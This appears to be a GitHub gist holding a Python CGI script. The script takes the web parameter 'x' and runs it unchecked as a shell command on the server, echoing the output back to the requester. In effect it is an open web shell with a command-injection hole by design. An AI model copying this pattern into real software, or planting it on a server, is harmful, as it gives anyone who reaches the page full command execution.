Skip to content

Instantly share code, notes, and snippets.

@Moiz-Ali-Moomin
Created November 8, 2020 15:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Moiz-Ali-Moomin/48fce8dcfc714e1c5b83e7e25edf22b1 to your computer and use it in GitHub Desktop.
Save Moiz-Ali-Moomin/48fce8dcfc714e1c5b83e7e25edf22b1 to your computer and use it in GitHub Desktop.
#! /usr/bin/python3
import cgi
import subprocess
import json
print("content-type: text/html")
print()
user_input = cgi.FieldStorage()
command = user_input.getvalue("x")
output = subprocess.getstatusoutput("{0}".format(command))
#StatusCode = output[0]
result = output[1]
print(result)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment